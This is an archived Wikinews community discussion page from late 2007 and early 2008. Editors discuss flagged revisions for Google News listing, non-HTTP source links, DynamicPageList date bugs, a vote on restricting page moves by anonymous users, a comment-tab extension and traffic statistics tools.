Next up we'll need firm guidelines for the flagging process, particularly the first application. This becomes a phase-two publish stage where things like verifying the sources are what is in the article and not some random blog post needs done. [I'm thinking of symode09 and loopaustralia here, that was bad and not caught quickly enough.]

At some point along the line we need to request the extension (and RTFM on how we can set it up). As far as I can work out the following is what we want, but I don't know if the extension will handle it.
 * Googlebot only sees flagged articles and revisions, no unflagged articles are served to Googlebot.
 * Anonymous readers are given pretty much the same as Googlebot.
 * Users with accounts are, by default given flagged revisions where available and latest on unassessed/unflagged articles with a note to that effect.
 * Users with accounts may change their preferences to always see the latest version and a note if it is not flagged.

So, are there any comments before I call for some form of voting on this? I'd like to see a start on Article flagging users, Nominations for flagging rights, and Article flagging guidelines. (Note, no mention of editorial control but that's how we sell it to Google.). --Brian McNeil / talk 18:50, 7 December 2007 (UTC)


 * The only issue that we need to remember is that anonymous users should have the option of clicking somewhere to see the unflagged versions. That was probably taken for granted but I just wanted it to be explicit. JoshuaZ 19:09, 7 December 2007 (UTC)
 * Yes, you're right - I was taking that for granted. --Brian McNeil / talk 19:25, 7 December 2007 (UTC)
 * I have gone through the Google "list us process" and tried to get someone to contact us and discuss their requirements and how we can meet them. One aspect is they expect URLs to have a multi-digit (5 or more IIRC) number in the URLs they list. The only way I can see this would work is if they're listing the URL to show the flagged revision. Fingers crossed they get back in touch. --Brian McNeil / talk 12:20, 9 December 2007 (UTC)
 * Just a minor comment, I think you can't flag your own edits, at least that's my expercience from the Dutch Wikipedia. --Steven Fruitsmaak (Reply) 16:22, 9 December 2007 (UTC)
 * In regards to stuff how the extension will handle googlebot, since googlebot and anons are handled the same, and googlebot is an anon, then no special care is needed in handling googlebot. For random five digit number, if revision id isn't good enough, I can't imagine it'd be that hard to set up a random special page special:article/1289045/Name of article here that just looks exactly the same as the normal article or set up the server to have urls with random digits in them (I speak from guessing, not from any sort of knowledge of the dificulty of doing that). As for setting up a page for getting flagged permission. Whats everyones thoughts on combining all our pages into Request for permissions. As it is, our accreditation, and adminship isn't that busy, I can't imagine that this will be much busier.  after the initial round of giving people permission, so why spread all the permission request out over everywhere (or perhaps just transclude everything there). Last of all, before we actually set it up, I think having a test wiki with this set up so we can all see what we're getting ourselves into might be a good idea (If I get the chance I could probably try setting up mediawiki with the extention installed on my computer). Bawolff ☺☻ 03:48, 10 December 2007 (UTC)
 * There is a test wiki at http://wikixp.org/qa/index.php5/Wishlist_and_bugs --Brian McNeil / talk 08:55, 10 December 2007 (UTC)
 * ah ha :) . user:Bawolff 10:32, 10 December 2007 (UTC)


 * If we are going to make these implementations, I think we ought to make sure that we not only qualify for Google but also for a Yahoo! News search and any other major aggregators out there. I could envision myself as a flagger, but I worry about the need to be constantly available. We would have to make sure that all flaggers don't decide to take a day off at the same time. And what happens when flaggers disagree? Do we have emergency flag voting? It's gotta be quick or else it is no longer news. Just a few thoughts. --SVTCobra 22:57, 10 December 2007 (UTC)


 * Don't we have anyone at Wikimedia who can help us with this and make some contacts at Google? --David Shankbone 21:49, 11 December 2007 (UTC)
 * Erik mentioned previously having contacts, but them either no longer responding or no longer being with Google. I don't intend to give up easily on this round. --Brian McNeil / talk 22:24, 11 December 2007 (UTC)
 * It appears we have some consensus to make the change; the question is whether Google will accept the changes for inclusion. --David Shankbone 23:13, 11 December 2007 (UTC)


 * Perhaps this and this is why Google is dragging its feet? --Jcart1534 22:08, 15 December 2007 (UTC)

Technical question: non-http protocols
In just the past several days, we have had two articles which are sourcing internet documents that are not HTTP: The protocols are RTSP and MMS. My question is, is there a way to link or show these sources in the articles without having what amounts to a 'broken' template? --SVTCobra 02:29, 5 December 2007 (UTC)
 * DHS video confirms details of leaked internal memo on al-Qaeda threat, and more MMS
 * US Senate committee investigates credit card practices RTSP
 * no. (not without random javascript crap that won't work well). I recommend we file a bug in bugzilla, should be trival for the devs to fix. I belive it is like it is as you on;y want real links to be linkified (and you don't want someRandomSchemaAssociatedWithAnInsecureProgram://badsite.com to work) (or if the video is free, we should download it, and upload it to commons (or wikisource?)). Bawolff ☺☻ 02:58, 5 December 2007 (UTC)
 * I agree with bawolff, more so because I have no knowledge of the technical aspect of this. DragonFire1024 (Talk to the Dragon) 02:59, 5 December 2007 (UTC)
 * In the meantime we can modify source template. For the record, the URI schemas that work are (to my knowledge) news://example nntp://example mailto://example gopher://example http://example ftp://example https://example RFC 1394 ISBN 1535-012-14-4 and irc://example telnet://example (intresting telnet works but ssh doesn't) Bawolff ☺☻ 03:06, 5 December 2007 (UTC)
 * I'm putting a request on bugzilla. For now, any article with broken url, put brokenURL=true in source Bawolff ☺☻ 03:16, 5 December 2007 (UTC)
 * Thanks, in the RTSP case it is from C-SPAN. Though a 'free public service' they hold tightly to their copyright (though I suppose it could be challenged as it is from Congress, but I digress). The other one, MMS, I don't know much about. But I don't think either can be uploaded to Commons. --SVTCobra 03:28, 5 December 2007 (UTC)
 * physically both can be uploaded to commons if you know how :) (Unless its DRM'd as might be with mms, which i think is a microsoft thingy, but i'm just geussing there). Copyrights just get in the way of uploading :(. Bawolff ☺☻ 03:34, 5 December 2007 (UTC)
 * Alrighty: 12204. Bawolff ☺☻ 03:42, 5 December 2007 (UTC)
 * Yes, I meant we can't upload to Commons due to copyright, not physical/technical problems. I have never watched a bugzilla request, what is their typical turnaround time? (if you know). --SVTCobra 03:19, 6 December 2007 (UTC)
 * Since this is just a site configuration thing, it should be relatively fast, a month at the absolute most (but don't quote me on this). For anything else it is generally forever.... Bawolff ☺☻ 04:35, 6 December 2007 (UTC)

Gadgets extention
Some wikis now have the gadgets extention enabled (according to wikizine). This allows people to enable custom javascript via your special:preferences. Is this something we want? There is not a whole lot of custom js floating arround here, but there rea couple odd scripts here and there, and some copied from 'pedia, but not a large amount. Anyway is this something we want? To see an example, play with commons:special:preferences and w:special:preferences under the gadgets header. Bawolff ☺☻
 * Yup, we want that - even if just so people can set external links to open in a new tab or window. --Brian McNeil / talk 08:35, 12 December 2007 (UTC)
 * In any case it got enabled on all wikimedia wikis. See special:preferences &rarr; gadgets, as well as special:gadgets. Bawolff ☺☻ 00:13, 23 December 2007 (UTC)

We're Aggregated by Ask
see here :) Thunderhead - (talk - email - contributions) 18:03, 15 December 2007 (UTC)
 * Also see: and  We are listed!   —Fellow Wiki  Newsie 19:22, 15 December 2007 (UTC)
 * Take that google ! It'd be kind of funny if they indexed Ask Jeeves to remove valet from website, but they don't. Bawolff ☺☻ 20:48, 15 December 2007 (UTC)
 * Very good, it's a step. Jacques Divol 08:20, 16 December 2007 (UTC)

Transcluding DynamicPageList results to Wikipedia pages
Hi, I would like to be able to transclude (if that's what it's called) the results of Portal:Film's "Latest news" to Wikipedia's Film Portal "News" section. The applicable DynamicPageList code is below.

<DynamicPageList> category=published category=Film count=15 notcategory=disputed addfirstcategorydate=true </DynamicPageList>

Can anyone show me how to display results like this from here at Wikipedia...or at least tell me where to go?! ;-) Thanks, RichardF 23:35, 28 December 2007 (UTC)
 * To the best of my knowledge DPL doesn't work cross-wiki. You'd have to maintain the list in your userspace and manually list on WP. Sorry! --Brian McNeil / talk 23:42, 28 December 2007 (UTC)
 * Short of convincing the devs of installing dpl on 'pedia, you need a bot, or do it manually as BrianMc said. Bawolff ☺☻ 00:00, 29 December 2007 (UTC)
 * There's the rub! We're trying to figure out a way to automate keeping news up-to-date in Wikipedia portals. I tried to "transclude" my sandbox from here to there, but that didn't work either. I'm not bot-literate, but that could be a way to go? Is there anyplace I can go begging for that in a way that could be used for any applicable Wikipedia portal?!  ;-) RichardF 00:04, 29 December 2007 (UTC)
 * You can only transclude stuff (short of using some javascript hackery that really wouldn't work that well) from within the project you're on (at least as far as wikimedia wikis are concerned). A bot for copying between the projects would probably not be very hard to do, as all it really has to do is copy one page and paste it into another. (Unfourtanatly I'm too busy at the moment to work on such a project. I'm sure there is somebody who would be able to do it for you). Bawolff ☺☻ 00:24, 29 December 2007 (UTC)
 * Thanks! Where's the best place to go begging for some help on this? ;-) RichardF 00:38, 29 December 2007 (UTC)
 * To be honest, I'm unsure. You could try poking arround some irc channels related to wikipedia maybe. Bawolff ☺☻ 01:16, 29 December 2007 (UTC)
 * Okay, thanks! :-) RichardF 01:22, 29 December 2007 (UTC)
 * It would be great to have this for all kinda portals on Pedia. --Steven Fruitsmaak (Reply) 09:22, 30 December 2007 (UTC)

We have liftoff! See the Wikinews Importer Bot for how to implement importing Wikinews items into Wikipedia portals. Here are a few examples: I really don't know my way around here, so someone could post this wherever announcements like this should go, or point me in the right direction. :-) RichardF 03:16, 11 January 2008 (UTC)
 * Portal:Belgium/Wikipedia
 * Portal:Bermuda/Wikipedia
 * Portal:Canada/Wikipedia
 * Portal:Education/Wikipedia
 * Portal:Environment/Wikipedia
 * Portal:Film/Wikipedia
 * Portal:Internet/Wikipedia
 * Portal:Netherlands/Wikipedia
 * Portal:Saskatchewan/Wikipedia
 * Portal:Science and technology/Wikipedia‎
 * Portal:Spirituality/Wikipedia
 * Portal:Sweden/Wikipedia
 * Portal:Television/Wikipedia
 * I added something at Spread Wikinews. Any other good places? RichardF 03:29, 11 January 2008 (UTC)

This is related, but also off-topic. I recently archived a story (Pittsburgh's Bettis to work as NBC studio analyst, not that it matters) and because it was a recent change within Category:Television it showed up on Wikipedia among the most recent news (and still does as of this writing) on Portal:Television, even though it is from February 2006. Is there any way to make the dynamic lists use the date of the story and not the date of last edit? It would also be beneficial to our own infoboxes. --SVTCobra 04:10, 11 January 2008 (UTC)
 * I agree. It would be very useful if the dynamic lists could note the date of the story instead of the date of the last edit.  Wilhelm 04:38, 11 January 2008 (UTC).


 * I guess I forgot to save my comment... I also agree this a is good idea. Does anyone know how to change the coding for that? I'm sure Wilhelm and I will make sure all the existing examples and pages get updated. RichardF 04:59, 11 January 2008 (UTC)


 * afaik, there's no way to do this presently. adding  and using   as the first category specified in the dpl comes close to it - adding the date on which the article was first categorised as published. –Doldrums(talk) 08:46, 11 January 2008 (UTC)
 * I don't get it,  is already in all of the above examples, but the date still changes whenever someone edits the articles.  Wilhelm 09:27, 11 January 2008 (UTC).
 * i believe the date changes if the categories are changed or the page is renamed. whereas this edit, for instance,  did not affect the date in Portal:Science and technology/Wikipedia. it's a good idea to make 'Published' the first category in the dpl instance rather than the country or topical name. –Doldrums(talk) 10:05, 11 January 2008 (UTC)


 * Good example of this problem is at Bush urges US allies in Middle East to support Israeli-Palestinian peace talks. Published January 6, edited January 11, and now looks like it's been published January 11 (see the navigation box in the article itself).  How do we fix this for good?   Wilhelm 16:38, 11 January 2008 (UTC).
 * For an explanation on why this happened, see 12584. In a nutshell: Moving pages updates the time on DPLs. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 17:36, 11 January 2008 (UTC)
 * Can we make it so that it does not, and so that times on DPLs are only by time of first published? Wilhelm 22:45, 11 January 2008 (UTC).
 * As soon as the code is updated for the site (r29615), page moves will not affect the time on the DPLs. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 00:58, 12 January 2008 (UTC)
 * Okay, great. So what will affect the time on the DPLs?  Wilhelm 01:14, 12 January 2008 (UTC).
 * An article going from publish to develop will reset the date. It would then show the date the article was re-published. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 03:21, 12 January 2008 (UTC)


 * When will that coding be updated so that page moves don't affect DPLs? Here is another problem with it: Mozambique and Zimbabwe struck by earthquake.  Wilhelm 04:23, 12 January 2008 (UTC).

Page move restriction
I would like to have another vote on the page move restrictions for anon users, as the techs have now implemented it on all wikis. We have the option to opt out and i would like to see there is community consensus to do this. The previous discussions (here and here showed no real consensus either way. However as we are now included in this action i would now like to see if there is support to op out or whether people think we should keep the restrictions.

Votes
Indicate whether you wish to Keep the current restrictions or Remove them and request an opt out.
 * Support the removal of the restrictions. --Mark Talk to me 17:33, 5 January 2008 (UTC)
 *  —Fellow Wiki  Newsie 17:38, 5 January 2008 (UTC)
 * for the same reasons I was against implementing them seperatly. Blood Red Sandman  (Talk)   (Contribs) 18:37, 5 January 2008 (UTC)
 * the restrictions. We have a problem with page move vandalism, this will contribute towards addressing the issue with a very small chance of inconveniencing some genuine users. Would we rather readers see Magnitude 5.3 penis cockslaps Taiwan or National Sexpress awarded slut to lick pussy in major UK sex shop or seeing us being responsible and taking this step. Adambro 20:31, 5 January 2008 (UTC)
 * I do not believe a restriction on page moves will benefit us. --Brian McNeil / talk 21:03, 5 January 2008 (UTC)
 * restrictions. "The free news source you can write" is a great concept that I'm a big fan of, but I don't think that should extend to page moves, which are much lower in need compared to regular editing and can be more disruptive (as Adambro illustrated above, though those are a bit extreme... and the first one is really funny). I don't think the project will grind to a halt if the restrictions are removed, but I think that additional little layer of anti-vandalism protection is a good thing. EVula // talk // 23:02, 5 January 2008 (UTC)
 * Just so you know, those were both genuine vandal move targets... Blood Red Sandman  (Talk)   (Contribs) 23:05, 5 January 2008 (UTC)
 * restrictions. I think the desire for anons to move pages in productive efforts is slim, and doesn't warrant lifting a good vandal-combat tool.  I say re-review the issue in three months.  --David Shankbone 23:39, 5 January 2008 (UTC)
 * restrictions. Anon makes page &mdash; 68 people die in landslide. another person dies after that. What happens then? Bawolff ☺☻ 00:49, 6 January 2008 (UTC)
 * restrictions. Too much potential for vandalism otherwise. --Skenmy(t•c•w•i) 17:25, 6 January 2008 (UTC)
 * per Bawolf.. plus archival mitigates much of vandalism the problem. Nyarlathotep 13:21, 11 January 2008 (UTC)
 * restrictions, anons contribute greatly to Wikinews but not with their pagemoves. --Steven Fruitsmaak (Reply) 18:34, 12 January 2008 (UTC)
 * With skenmy and adambro (!) on this one. <font color="#800000">Pilotguy roger that  04:49, 15 January 2008 (UTC)
 * as in there is no important reason we should opt out of a wiki-wide policy on this. Page-moves (renames of articles) can always be requested on the talk pages and are usually done pretty quickly. However, I don't buy into the vandalism argument, as most page-move vandalism is done by registered users (accounts usually created for that exact purpose). But even well-intentioned page-moves by anons can be problematic. They are not aware of WN:NC, and often use up-style resulting in further page-moves, usually creating a mess of double redirects. Anons can just object to the title on the collaboration page ... they can still contribute in the most meaningful ways which is editing the article itself. --SVTCobra 02:39, 18 January 2008 (UTC)
 * . From what I can see, this would apply to anons and new users (~4 days?). I would rather have the inconvenience of a page-move restriction for new users than have visitors to the site reading a porn headline. --Jcart1534 15:05, 24 January 2008 (UTC)
 * . 's argument makes perfect sense. And from personal experience (not with vandalism involving page moves but just on new articles) I think that if a new user or anon wants something moved and can't do it, they won't hesitate to comment about it somewhere and let us know.  Cirt 16:34, 24 January 2008 (UTC)
 * per Bawolff --User:Anonymous101 Talk 18:45, 29 January 2008 (UTC)
 * restrictions on anonymous/new user page moves. I am an antinonymouseditarian. Vandalism by anonymous editors is a totally useless, system-supported waste of serious editors' and readers' time. RichardF 02:17, 30 January 2008 (UTC)
 * the restrictions. The vast potential for vandalism far outweighs Bawolff's (and others') "immediacy for updates" argument.  For example, if a new user/anon were to move A very popular story to A very popular story offensive comment, and then edit the redirect, there is no way at all for that to be reversed until an admin can come along and delete the old redirect (or we find a new title and move there - less than ideal as I'll explain).  In addition, I was recently re-reading the "breaking news" guidance here.  It's stated that we should avoid moving pages too much to avoid damaging links in from other websites.  It also states that any new findings should go into a new article, as we should be informing our visitors of events as they happen.  Granted, this argument is very specific to the example Bawolff gave, but I think that the whole "more harm than good" idea holds fast. Martinp23 - (talk) 20:50, 16 February 2008 (UTC)

Comments
Is this regarding bug 12071 and the discussion at the Metapub? If so, it has nothing to do with anons. It is about new users being able to move pages. <font face="Lucida Calligraphy">Greeves (talk • contribs) 20:40, 5 January 2008 (UTC)


 * We cannot allow anons/new users to create pages and not to move them. If we're gonna have this installed then we'll have to also take it upon ourselves to get people to create accounts before creating new pages. Blood Red Sandman  (Talk)   (Contribs) 20:42, 5 January 2008 (UTC)


 * Wikinews is not an encyclopedia, we can't wait until the middle of next week for a page move. --Brian McNeil / talk 21:06, 5 January 2008 (UTC)
 * This is looking like another bout of no concensuss, so which side do we do. Typically with no consensus we keep the status quo, but is the status quo not changing the restriction, or not opting out of a wikimedia wide change in restriction? Bawolff ☺☻ 06:26, 6 January 2008 (UTC)
 * We managed perfectly well when Willy On Wheels was regularly vandalising, I think the status-quo should be renames allowed as it was before. --Brian McNeil / talk 18:43, 18 January 2008 (UTC)
 * Further to Bawolff's comment above I'd like to argue that status-quo is "Administrators and other regular contributors keep fixing page move vandalism". Failing that, I'll distract people with what Wikipedia has on Status Quo. :-P --Brian McNeil / talk 10:09, 19 January 2008 (UTC)

Broken "opinions" tab
Why is it that when I click on the "opinions" tab from this article it takes me here instead of here?
 * Most likely, ? is a special character in uris, and the comment stuff doesn't handle them properly (encode them, or not strip them). Bawolff ☺☻ 20:31, 12 January 2008 (UTC)

How to use DynamicPageList to display from either of two categories at once?
Any help here? Wilhelm 12:02, 11 January 2008 (UTC).
 * Please see Portal:Current events/Wikipedia. I am trying to get it to input from either , and/or the previous day,  , as opposed to what it's currently doing, which it looks like is just the first one.  Wilhelm 12:05, 11 January 2008 (UTC).
 * can't be done with current version of dpl. –Doldrums(talk) 14:01, 11 January 2008 (UTC)
 * Responded at Portal talk:Current events/Wikipedia. Wilhelm 15:23, 11 January 2008 (UTC).
 * If only we had DPL2... 21:03, 12 January 2008 (UTC)

Directly linking to videos (and other weird uri schemas)
We filed a bug to allow linking to some uri schemas for videos as they broke source. A work arround is in place (see source documentation), but we still wanted the ability to link. Brion said that linking directly is a bad idea, and we should link to the page its on for context. Thoughts? (see 12204) Bawolff ☺☻ 21:03, 12 January 2008 (UTC) "Generally I'd rather see a link to a hosting web page on these sorts of things. Direct-linking a video is a lot link direct-linking an image file; you lose surrounding context and have no ability to browse the target site, get at copyright info, grab alternate resolutions or formats, etc.

By going that deep (to low-level implemention details of linking a particular streaming format) you're losing a lot of flexibility and information, which hurts the person who has only the link to go on.

Going to WONTFIX this unless there's some compelling requirement for raw deep streaming video links."


 * Well, I was the one that brought it up for this article: US Senate committee investigates credit card practices. The problem was, that there was no stable page on which they provided the link to the video. It was just on their "today's scheduled broadcasts" (I didn't go back to see what they exactly call it), which changes daily. Even now, it can only be found by doing a search like this. The only stable link seems to be the rtsp real media link. *though I just got a "not found" on that too. --SVTCobra 02:54, 18 January 2008 (UTC)

Comment tab extension
I mentioned a few months back that I had created a MediaWiki extension to add the comment tab to the article and collaboration pages (and also add article and collaboration tabs to the comments page). A few people showed their support, a bug was filed, but I never really followed up with it, and it eventually got forgotten in the archives. I'd like to bring this back to attention, because having this would be a good idea, especially for our readers who have disabled JavaScript, or are using a browser incapable of running JavaScript.

I think that before this can actually get installed, we need to have some sort of poll or something, just to show the devs that the Wikinews community wants this. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 18:36, 18 January 2008 (UTC)
 * I think its a good idea. it would reduce some confusion as well. DragonFire1024 (Talk to the Dragon) 19:32, 18 January 2008 (UTC)
 * down with the java-crap. This is really something that should be done with an extention like yours. Bawolff ☺☻ 06:15, 19 January 2008 (UTC)
 * especially if it gets rid of code that breaks in edge cases. --Brian McNeil / talk 10:12, 19 January 2008 (UTC)
 * Yea, I forgot to mention that the JS doesn't work that well in articles like Will Wikimedia "run on Sun"? (though the JS could/should replace " with %22). —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 16:02, 19 January 2008 (UTC)


 * Obvious benefits and I see no undesirable effects. Blood Red Sandman  (Talk)   (Contribs) 16:25, 19 January 2008 (UTC)
 * --Cspurrier 18:06, 21 January 2008 (UTC)
 * duuuuhhhhh --Skenmy(t•c•w•i) 18:07, 21 January 2008 (UTC)
 * This sounds like a very good idea. Adambro 07:01, 22 January 2008 (UTC)
 * - sounds good --SVTCobra 22:52, 23 January 2008 (UTC)
 * . --Jcart1534 14:10, 24 January 2008 (UTC)
 * as suggester. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 19:12, 24 January 2008 (UTC)
 * --Steven Fruitsmaak (Reply) 09:04, 30 January 2008 (UTC)
 * Booyah baby! --TUFKAAP 00:26, 6 February 2008 (UTC)

language list
where i can get language list of Wikinews and their respective links?

67.188.99.112 06:44, 22 January 2008 (UTC)


 * Hi, is this what you're looking for? Adambro 06:59, 22 January 2008 (UTC)
 * The above link will give you a table with details to judge how active various languages are. However, you can simply go to the Main page and you'll find a list of links down the left that lead to the same page in another language. These links will appear on any properly set up page that appears in one or more additional languages. --Brian McNeil / talk 09:35, 22 January 2008 (UTC)

DPL getting date wrong?
Why is the output for the new article at Category:Scientology showing the 24th instead of the proper date of publish, the 23rd? Wilhelm 04:29, 24 January 2008 (UTC)
 * This is caused by the a bug in DPL (Intersection). It's actually showing the date as defined by "addfirstcategorydate" - which is unpredictable at the best of times. --Skenmy(t•c•w) 19:13, 24 January 2008 (UTC)
 * Ugh, and there's no way to fix it? At least it's only off by one day... Wilhelm 20:55, 24 January 2008 (UTC)
 * I'm actually chasing up the introduction of DPL2 onto Wikimedia wikis - the version we run is horribly outdated and has only the bare minimum of features. --Skenmy(t•c•w) 20:57, 24 January 2008 (UTC)
 * Good to hear, I'm sure that will be much appreciated by all. Wilhelm 15:40, 25 January 2008 (UTC)

Microformats and coordinates
What happened about Microformats and coordinates? Andy Mabbett 14:06, 24 January 2008 (UTC)
 * I'm semi-intrested in the idea. Do you by any chance have a list of actual benifits this would provide wikinews, that may get more people intrested. For anything like this to work, the actual benifits of the microformats has to outweigh the cost of adding them. Bawolff ☺☻ 23:24, 3 February 2008 (UTC)

DPL userdateformat parametrs
I don't know how using parametrs in <DynamicPageLink>. Now this functions returns events in format Day-Month-Year Title news (for example Site at Wikinews-pl with DPL function - i'm polish Wikimedian). I want to this functions return events without Year. Do you know it make it? I please wrtite to my at pl.wikinews.org (my disution site at polish wikinews)--Wyksztalcioch 00:44, 25 January 2008 (UTC)
 * Responded to user elsewhere. Bawolff ☺☻ 23:03, 3 February 2008 (UTC)

New Wikipedia Tool Wikinews Needs
Have you guys seen this tool for Wikipedia? It tells you the traffic on articles, breaking it down by day, and total viewing. We need this for Wikinews! --David Shankbone 21:32, 2 February 2008 (UTC)
 * Wow thats cool. That would definitly be useful. Looks like w:User:Henrik would be the person who maintains it. Bawolff ☺☻ 23:15, 3 February 2008 (UTC)
 * Hmmm...lets do it :) DragonFire1024 (Talk to the Dragon) 23:20, 3 February 2008 (UTC)
 * I left a note on his talk page. He seems a little bogged down with requests relating to the tool at the the moment though. Bawolff ☺☻ 23:27, 3 February 2008 (UTC)

You can even see traffic for images, user pages and talk pages. --David Shankbone 18:20, 4 February 2008 (UTC)
 * It's...perfect. It's better then Alexa I say, I mean just by typing in Main Page you get the Main Page results, so that will be perfect for seeing who browses what on a given day... damn, if only we had this before the whole Scientology thing we could really measure how much traffic we got. --TUFKAAP 00:14, 6 February 2008 (UTC)
 * The best proxy for that right now is traffic for the Scientology article. According to that, it was a one-day event as far as increasing traffic goes. RichardF 13:37, 10 February 2008 (UTC)
 * The stats apperently come from here. So if thoose include wikinews, I don't see why they wouldn't include before scientology. also of intrest: Bawolff ☺☻ 10:31, 10 February 2008 (UTC)
 * I'm nmot sure if we're included in these statistics - . Also these would be much better then alexa, as alexa is fairly biased (how many people do you know with the alexa toolbar?). These are the real stats. Bawolff ☺☻ 11:02, 10 February 2008 (UTC)

Ticker efficency
I noticed that the ticker was taking quite a bit of processing power, so I've been experimenting with different ways of doing it to see if there is more efficient method. Using css instead of changing the innerHTML seems to be much less resource heavy. I was wondering if anyone else notices a difference and if people like the look of doing it this way (only downside is it would look weird if the news had a line break). You can test by adding to your special:mypage/monobook.js/equivelent (note: code still needs to be fixed up a bit yet, it isn't perfect yet, this is a demo more then anything). Bawolff ☺☻ 10:31, 10 February 2008 (UTC)

#tag
installing the tag parser function hook would improve accessibility on Template:Fancy-image lead as well as make updating a little easier. cf. w:Template:Click. –Doldrums(talk) 18:32, 4 February 2008 (UTC)
 * It should be installed when we switch to the new parser (which i belive is soon based on what i've heard after the initial bugs are fixed at 'pedia, you can test by adding ?timtest=newpp to the url - for example ). See Migration_to_the_new_preprocessor. (I am also very excitedly awaiting this, the image lead template is horrible. I've tested some wikinews templates, so far the only thing that doesn't work are the dynamic continent templates (now fixed) and the move comment page message in mediawiki namespace, but i have not tested that extensivly). Bawolff ☺☻ 04:57, 5 February 2008 (UTC)
 * I didn't read your link. According to that, the thing i'm talking about is slightly different, but should still do the same thing. Bawolff ☺☻ 05:02, 5 February 2008 (UTC)
 * when is the new pp going to be installed and who do we have to talk to to make it happen? –Doldrums(talk) 08:24, 13 February 2008 (UTC)
 * I believe Tim Starling is the person who is in charge of it (or at least thats the impression the meta page gives). Bawolff ☺☻ 00:05, 16 February 2008 (UTC)

RSS Not Updating
On clicking the orange RSS button on the front page of Wikinews, I have discovered that the RSS is not updating. Why is this? --888gavin 19:38, 4 February 2008 (UTC)
 * Sometimes the RSS does not work. User:Cspurrier is the one who operates it. You can either contact him or wait for it to work again. I'm sure it will be working soon as these problems are only temporary.  —Fellow Wiki  Newsie 21:06, 4 February 2008 (UTC)

Photography laws
After enduring days and days of public humiliation on no less than three admin boards and four talk pages on Wikipedia at the hands of a homophobic Jew who hates Michael Lucas (porn star) because of some anti-Hasid column he wrote, I thought it might benefit WN to share this article. Maybe not technical-technical, this is an excellent article that gives you the technical laws and resources of what you can photograph and what you can publish in the United States, which is the only law relevant to our U.S.-based servers. It's really excellent, and it gives links to more legal resources if needed, and addresses questions such as, "Can I photograph those people sitting on a park bench and publish it on Wikinews?" --David Shankbone 03:59, 6 February 2008 (UTC)
 * Very cool article. I wish it had touched on the issue of sporting events as well. On occasion, I get to attend some baseball games in very good seats. As anyone who watches the sport on TV, fans are constantly taking photographs, as seen by the flashes from the stands. However, on the back of every MLB ticket is also bunch legal-eze, commonly known as boilerplate, that says you are not allowed to take pictures and if you did any photo you took is the property of MLB and that you can't reproduce it anywhere ... it practically fills the back of the ticket. Yet, everyone takes pictures of everything, often themselves with the event as a background. I, too, have taken pictures, despite the boilerplate. However, I stopped myself short of posting them to Wikinews for a game report. The only checking I did was looking at Commons and finding it devoid of such material, and thus concluded that the MLB boilerplate held up under scrutiny. [You know, I don't like to mess with rules]/ Cheers, --SVTCobra 04:56, 6 February 2008 (UTC)
 * Ah, the article does address the sporting event issue: "You can take photos any place that's open to the public, whether or not it's private property. A mall, for example, is open to the public. So are most office buildings (at least the lobbies). You don't need permission; if you have permission to enter, you have permission to shoot."  Later it expounds upon that idea:  "You can be on private property (a mall or office-building lobby), or even be trespassing and still legally take pictures. Whether you can be someplace and whether you can take pictures are two completely separate issues."  And still:  "Let's say you're banned by the local mall for taking photos there, but you go back anyway and take more. Now you're trespassing. But unless the photos you take violate someone's expectation of privacy, your taking photos isn't illegal — only being there."  --David Shankbone 16:38, 6 February 2008 (UTC)
 * Sporting events, at least professional ones, are not open to the public in the same sense that a mall is. You have to buy a ticket and by entering into such a transaction one could say that a contract as been formed. The tickets often say that by purchasing the ticket you agree to the terms and conditions, which often includes text like "all images are the property of so-and-so and any rebroadcast is illegal" etc. Now, I am not a lawyer, so I don't know if it holds up in court or wheter there have been test cases. In an extreme example, I am pretty sure that if I video taped an entire game and sold the videos I would have my pants sued off. Something less overt such as a still photo to illustrate a news article, I am not so sure. So, no I don't think the sporting event question is fully addressed in the article. But it is a good article. --SVTCobra 16:58, 6 February 2008 (UTC)


 * Thank you to for posting this!  It is very relevant to User:Skenmy/APC, so I hope you don't mind if I posted it at that talk page as well.  Cirt 17:02, 6 February 2008 (UTC)

Archives/categories
The mediawiki system of categorization is good for databases, but it is not to good for services like Wikinews, cause if you want to find something in category, you must know the name of article (a first word). Probably you know when the event has happened, but you don't know name of article - especialy if you are not active user. The best for our archives will be sorting by date of published articles, not by alfabetical list. Was it notified in bugzilla? If yes - could you give the link? (I don't remember discution about this problem) Przykuta - (talk) 23:15, 12 February 2008 (UTC)
 * This is actually doable. It could be acomplished as an extention (the correct way to go about doing it, but not something I could do, as I just simply don't know php), or as javascript using the api. (I have a page started in my sandbox, but I don't really have a lot of time to spend on it (read that as: if you know javascript, please feel free to edit it mercilessly)

Wikinews search?
Similar problem. We need web search engine like google news, not like google. If you want to find latest news in our search engines, you get... you know. Nothing special. We need better search engine. Przykuta - (talk) 23:15, 12 February 2008 (UTC)
 * Can you be more specific? The first step in fixing a problem is knowing exactly what you mean. Bawolff ☺☻ 01:46, 16 February 2008 (UTC)
 * I think about results of searching - if you search "linux" you want to find latest news with this word, but you get old news as first. Przykuta - (talk) 23:22, 26 February 2008 (UTC)
 * I think thats something to add to the wishlist. Bawolff ☺☻ 23:29, 26 February 2008 (UTC)

Audio file
I have a short WAV file I was wondering if someone could convert for me to OGG and upload, and then tell me how you did it (program, steps, etc.). It's for an interview I'm going to publish soon. --David Shankbone - (talk) 00:35, 13 February 2008 (UTC)
 * Sure, see you talk page for how to send it to me --Please vote or comment on my RfaAnonymous101 Talk RfA 16:13, 14 February 2008 (UTC)
 * I actually did it using an on-line program. I tried to listen to the audio file at home, but it crashed my Firefox (but not so for the Firefox at my office).  Could you try to play it and see what happens?  It's on the Billy West interview.  --David Shankbone - (talk) 16:42, 14 February 2008 (UTC)
